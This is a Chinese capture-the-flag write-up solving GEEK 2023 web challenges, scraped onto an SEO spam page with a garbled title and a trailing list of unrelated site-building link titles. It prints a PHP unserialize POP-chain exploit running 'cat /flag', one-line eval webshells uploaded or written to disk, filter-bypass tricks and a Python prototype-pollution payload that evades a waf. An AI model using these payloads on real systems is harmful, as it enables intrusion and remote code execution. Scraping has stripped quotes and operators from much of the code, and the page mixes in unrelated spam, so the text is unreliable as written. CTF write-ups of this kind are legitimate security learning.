当前位置: 首页 > news >正文

网站建设中有关数据库问题西安注册公司网上申请入口

网站建设中有关数据库问题,西安注册公司网上申请入口,基于oa系统的网站建设,廊坊网站建设模板文章目录 EzHttpunsignn00b_Uploadeasy_phpEzRceezpythonezrfi EzHttp 按照提示POST传参 发现密码错误 F12找到hint#xff0c;提示./robots.txt 访问一下#xff0c;得到密码 然后就是http请求的基础知识 抓包修改 最后就是 我们直接添加请求头O2TAKUXX: GiveMeFlag 得到… 文章目录 EzHttpunsignn00b_Uploadeasy_phpEzRceezpythonezrfi EzHttp 按照提示POST传参 发现密码错误 F12找到hint提示./robots.txt 访问一下得到密码 然后就是http请求的基础知识 抓包修改 最后就是 我们直接添加请求头O2TAKUXX: GiveMeFlag 得到flag unsign 源码 ?php highlight_file(__FILE__); class syc {public $cuit;public function __destruct(){echo(action!br);$function$this-cuit;return $function();} }class lover {public $yxx;public $QW;public function __invoke(){echo(invoke!br);return $this-yxx-QW;}}class web {public $eva1;public $interesting;public function __get($var){echo(get!br);$eva1$this-eva1;$eva1($this-interesting);} } if (isset($_POST[url])) {unserialize($_POST[url]); }?pop链 syc.__destruct - lover.__invoke() - web.__get()exp ?php class syc {public $cuit; }class lover {public $yxx;public $QW; }class web {public $eva1;public $interesting; }$anew syc(); $bnew lover(); $cnew web(); $a-cuit$b; $b-yxx$c; $c-eva1system; $c-interestingcat /flag; echo serialize($a); ? 得到flag n00b_Upload 题目对文件名没有检测后缀可以为php 然后检测MIME类型我们只需要修改为image/jpeg即可 文件内容一句话木马会被检测要修改为短标签 创建1.php写入 ?eval($_POST[shell]);?bp抓包修改MIME上传成功 访问命令执行得到flag easy_php 考点换行绕过intval函数绕过sha1绕过php解析特性 源码 ?php header(Content-type:text/html;charsetutf-8); error_reporting(0);highlight_file(__FILE__); include_once(flag.php); if(isset($_GET[syc])preg_match(/^Welcome to GEEK 2023!$/i, $_GET[syc]) $_GET[syc] ! Welcome to GEEK 2023!) {if (intval($_GET[lover]) 2023 intval($_GET[lover] 1) 2024) {if (isset($_POST[qw]) $_POST[yxx]) {$array1 (string)$_POST[qw];$array2 (string)$_POST[yxx];if (sha1($array1) sha1($array2)) {if (isset($_POST[SYC_GEEK.2023])($_POST[SYC_GEEK.2023]Happy to see you!)) {echo $flag;} else {echo 再绕最后一步吧;}} else {echo 好哩快拿到flag啦;}} else {echo 这里绕不过去QW可不答应了哈;}} else {echo 嘿嘿嘿你别急啊;} }else {echo 不会吧不会吧不会第一步就卡住了吧yxx会瞧不起你的; } ? 分析一下 利用换行符%0a绕过preg_match()函数数组绕过sha1利用科学计数法绕过intval函数最后是php解析特性[会被解析成下划线 得到flag EzRce 考点异或绕过、无参RCE 源码如下 ?php include(waf.php); session_start(); show_source(__FILE__); error_reporting(0); $data$_GET[data]; if(waf($data)){eval($data); }else{echo no!; } ? 题目过滤了字母数字应该是无参rce不过eval没被过滤 用异或绕过构造如下 eval(next(getallheaders()));发现权限不够那么我们写马蚁剑连接 file_put_contents(shell.php,?php eval($_POST[1]);?);我们查看下权限发现只有r 然后就是find命令查找能用的发现有find命令得到flag ezpython 考点python原型链污染 源码 import json import osfrom waf import waf import importlib from flask import Flask,render_template,request,redirect,url_for,session,render_template_stringapp Flask(__name__) app.secret_keyjjjjggggggreekchallenge202333333 class User():def __init__(self):self.usernameself.passwordself.isvipFalseclass hhh(User):def __init__(self):self.usernameself.passwordregistered_users[] app.route(/) def hello_world(): # put applications code herereturn render_template(welcome.html)app.route(/play) def play():usernamesession.get(username)if username:return render_template(index.html,nameusername)else:return redirect(url_for(login))app.route(/login,methods[GET,POST]) def login():if request.method POST:usernamerequest.form.get(username)passwordrequest.form.get(password)user next((user for user in registered_users if user.username username and user.password password), None)if user:session[username] user.usernamesession[password]user.passwordreturn redirect(url_for(play))else:return Invalid loginreturn redirect(url_for(play))return render_template(login.html)app.route(/register,methods[GET,POST]) def register():if request.method POST:try:if waf(request.data):return fuck payload!Hacker!!!datajson.loads(request.data)if username not in data or password not in data:return 连用户名密码都没有你注册啥呢userhhh()merge(data,user)registered_users.append(user)except Exception as e:return 泰酷辣,没有注册成功捏return redirect(url_for(login))else:return render_template(register.html)app.route(/flag,methods[GET]) def flag():user next((user for user in registered_users if user.username session[username] and user.password session[password]), None)if user:if user.isvip:datarequest.args.get(num)if data:if 0 not in data and data ! 123456789 and int(data) 123456789 and len(data) 10:flag os.environ.get(geek_flag)return render_template(flag.html,flagflag)else:return 你的数字不对哦!else:return I need a num!!!else:return render_template_string(这种神功你不充VIP也想学?pimg src{{url_for(\static\,filename\weixin.png\)}}要不v我50,我送你一个VIP吧,嘻嘻/p)else:return 先登录去def merge(src, dst):for k, v in src.items():if hasattr(dst, __getitem__):if dst.get(k) and type(v) dict:merge(v, dst.get(k))else:dst[k] velif hasattr(dst, k) and type(v) dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)if __name__ __main__:app.run(host0.0.0.0,port8888)首先定义了user类包括三个属性其中isvip值为false子类hhh继承user类只有两个属性接着就是/register路由发现实例化的是hhh()也就是无法改变isvip的值然后调用merge方法/login路由实现登录功能然后看向关键的/flag路由会检测user.isvip是否为真接收参数num进行if判断返回flag最后发现有merge方法说明原型链污染 我们用postman发送如下json数据 __base__是为了指向父类user的isvip从而污染 {username:1,password:1,__class__:{__base__:{isvip:true}} }后面参考其他师傅博客发现直接污染也行不需要用魔术方法 发现有过滤直接Unicode编码 {username:1,password:1,__class__:{__base__:{isvi\u0070:true}} }登录进去之后看九幽玄天神功已经是要你传参了 直接123456789绕过 ezrfi 考点filterchain攻击 打开题目提示hint.py 测试了一会发现文件包含会拼接.py后缀 然后一步步解密先base64发现是尊嘟假嘟 继续解密后发现是rc4加密用密钥Syclover 很明显的要用filterchain绕过 注意构造的命令长度需要是3的倍数防止base64编码出错长度不够就手动添加a 查询跟目录 得到flag
http://wiki.neutronadmin.com/news/322793/

相关文章:

  • 合肥制作网站有户型图怎么免费设计装修
  • 建筑施工建设网站从事网页设计工资高吗
  • 网站建站ddp兼职做效果图的网站有哪些
  • 网站建设公司安丘市同信.长春网站建设
  • 在哪学习建网站大连企业建站
  • 深圳网站优化团队网易企业邮箱和个人邮箱的区别
  • 网站建设分金手指科捷11汕头公众号建设网站
  • 山东建设厅官方网站二建报名汶上哪个广告公司做网站
  • 企业网站建设选题背景公司网站的具体的建设方案
  • 成华网站制作旅游电子商务网站的品牌建设
  • 香河县建设局网站用自己电脑做网站服务器
  • pr的选择应该优先选择的链接为怀化网站seo
  • 做读书网站的前景diy网站建设源码
  • h5网站的优势优秀的定制网站建设服务商
  • 厦门关键词优化网站加工平台v型架子
  • 深圳地铁公司网站北京 seo
  • 个人身份调查网站门户网站简介
  • 建设增塑剂网站wordpress 数据调用api接口
  • 学生成绩管理系统网站建设龙岩律师在线咨询
  • 做的好的有哪些网站网站开发 报价单
  • 如何制作公司免费网站网站建设初步规划
  • 四川煤矿标准化建设网站昆明如何做好关键词推广
  • 哪里做网站做得好河北住建局与建设厅网站
  • 自己做的网站 打开了没有图片私域流量运营管理
  • 网站开发顺序搭建平台舞台
  • 建筑网官方网站查询知名网站名称
  • 网站怎么做百度推广青羊区建设和交通网站
  • 网站开发要多长时间网络营销推广案例分析
  • 建设网站制作实训报告南京模板网站建设
  • 临沂做公司网站栾城区城乡建设局网站